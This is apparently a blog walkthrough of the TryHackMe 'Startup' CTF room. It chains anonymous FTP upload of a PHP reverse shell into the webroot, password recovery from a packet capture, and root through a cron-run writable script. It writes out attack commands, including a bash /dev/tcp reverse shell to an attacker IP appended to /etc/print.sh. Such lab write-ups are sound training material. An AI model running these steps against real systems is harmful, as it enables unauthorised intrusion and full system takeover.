Startup
Lab Info
| Detail | Info |
|---|---|
| Room | Startup |
| Platform | TryHackMe |
| Difficulty | Easy |
| Type | CTF / Anonymous FTP Upload RCE + PCAP Credential Recovery + Cron Script Hijack |
| Knowledge Required | Web, FTP, PHP Reverse Shells, Wireshark, Linux Cron |
Tools Used
Nmap / Rustscan — Port scanning
Gobuster — Directory enumeration
FTP client — Anonymous login, browsing, and uploading
php-reverse-shell.php (pentestmonkey) — Foothold via FTP-to-webroot upload
Wireshark — Analyzing a captured
.pcapngfile for leaked credentialsNetcat — Catching both the initial and privileged reverse shells
First Impressions
A genuinely well-designed "beginner" room — nothing here is individually hard, but each stage only opens up because of a detail from the stage before it, which is exactly the kind of chaining that's worth building instinct for. Anonymous FTP maps onto the live webroot, so upload becomes execution. A packet capture sitting in an "incidents" folder isn't just flavor text — it's the actual credential source for the next user. And the final privesc hinges entirely on noticing a file's timestamp changing between two ls calls, which is a good lesson in patience over brute-force enumeration.
Recon
nmap -sV -p- <ip>
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Three ports. FTP first, since it's the one worth checking for anonymous access before anything else.
ftp <ip>
Name: anonymous
Password: (blank)
Logs straight in — anonymous auth is enabled. Browsing the FTP root shows a handful of files (an image, a text notice) and, critically, a writable directory.
Confirming the Upload Path Lands in the Webroot
gobuster dir -u http://<ip>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Turns up a single directory: /files. Browsing to it in the browser shows the exact same file listing as the FTP share — meaning the FTP directory and part of the live webroot are the same physical location. Combined with the earlier writable-directory finding, that's upload-to-RCE in two steps: whatever gets put over FTP becomes reachable over HTTP.
Foothold — PHP Reverse Shell via FTP Upload
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
(IP/port patched in first.)
ftp> cd ftp
ftp> put php-reverse-shell.php
Netcat listener up:
nc -lvnp <port>
Then trigger it by browsing to the uploaded file's URL under /files/ftp/. Shell caught.
python -c 'import pty; pty.spawn("/bin/bash")'
Flag 1 — Sitting Right in the Shell's Landing Directory
The very directory the shell lands in has a recipe.txt file — the room's first question ("what is the secret spicy soup recipe?") answered directly, no further digging needed at this stage.
Finding and Analyzing a Packet Capture
Poking around the filesystem turns up an "incidents"-style directory containing suspicious.pcapng. Rather than trying to pull it off the box some other way, the fastest path is reusing the exact upload trick that got the initial foothold: copy the capture into the same FTP-writable/webroot-shared directory, then just download it back out over plain FTP from the attacker machine.
cp suspicious.pcapng /var/www/html/files/ftp
ftp> get suspicious.pcapng
wireshark suspicious.pcapng
Filtering for HTTP methods turns up nothing useful, but a capture named "suspicious" alongside a box that's already had one reverse shell popped through it is worth checking for exactly that pattern again — filtering on the classic default Metasploit/reverse-shell port:
tcp.port == 4444
One stream stands out. Following it (right-click → Follow → TCP Stream) shows a shell session in plaintext, including a password being typed for a user named lennie — a completely different account from the one hinted at by "Maya" mentions elsewhere on the box, which turns out to be a red herring.
Lateral Movement — Becoming lennie
su lennie
Password recovered from the pcap. Lands in lennie's home directory, where user.txt sits — second flag.
Privilege Escalation — A Slowly-Rotating Cron Script
Alongside the user flag, lennie's home has a scripts/ directory containing planner.sh and startup_list.txt. planner.sh is owned by root and not writable — a dead end on its own — but reading its contents shows it calls out to a second script:
/etc/print.sh
Checking permissions on that second file shows it's writable by lennie, even though planner.sh (which invokes it) is not. The natural next question is what's actually running these on a schedule — and the room deliberately doesn't expose a standard system-wide crontab entry for it. The tell instead is behavioral: checking startup_list.txt's timestamp, waiting, and checking again shows it changing roughly once a minute — confirming something (almost certainly root, via a user-level cron job rather than /etc/crontab) is executing planner.sh → print.sh on a schedule, even with no obvious crontab entry to point at directly.
With write access to print.sh confirmed and the execution cadence understood, appending a reverse shell payload to it is enough:
echo 'bash -i >& /dev/tcp/<attacker_ip>/8080 0>&1' >> /etc/print.sh
Netcat listener up:
nc -lvnp 8080
Wait up to a minute for the next cron tick — the callback lands as root. root.txt grabbed — third and final flag.
Flag Summary
| Flag | Method |
|---|---|
| Flag 1 (recipe) | recipe.txt, found directly in the initial shell's landing directory |
| Flag 2 (user.txt) | su lennie using a password recovered from suspicious.pcapng via Wireshark |
| Flag 3 (root.txt) | Reverse shell appended to the writable /etc/print.sh, triggered by a root-owned cron job calling it via planner.sh |
Key Takeaways
Anonymous FTP write access paired with a shared webroot directory is a direct, low-effort RCE path. Neither piece alone is exploitable — upload without execution, or execution without upload — but together they're a complete chain worth checking for as a pair whenever both FTP and HTTP are open on the same box.
Packet captures found on a target aren't just flavor — they're a legitimate credential source. Treating a stray
.pcapngas worth downloading and actually opening in Wireshark (rather than skipping it as noise) directly produced the next user's password here.Filtering a large capture by a suspicious port (like the default Metasploit
4444) is a fast, targeted way to cut through hundreds of irrelevant packets rather than reading a capture linearly.Not every scheduled task is visible in
crontab -lor/etc/crontab. A file's timestamp changing between two checks, with no obvious system cron entry to explain it, is itself a strong signal — worth treating "something updates this periodically" as its own category of evidence rather than only trusting an explicit crontab listing.A script being non-writable doesn't end the trail — checking what that script calls is the next move.
planner.shwas locked down, but the file it invoked wasn't, and that's exactly where the actual vulnerability lived.Named red herrings (the "Maya" references throughout this box) are a deliberate design choice in a lot of TryHackMe rooms — worth noticing when a detail keeps coming up without ever actually leading anywhere, rather than assuming persistence will eventually make it relevant.
Day 24 of 30 ✅ — See You Tomorrow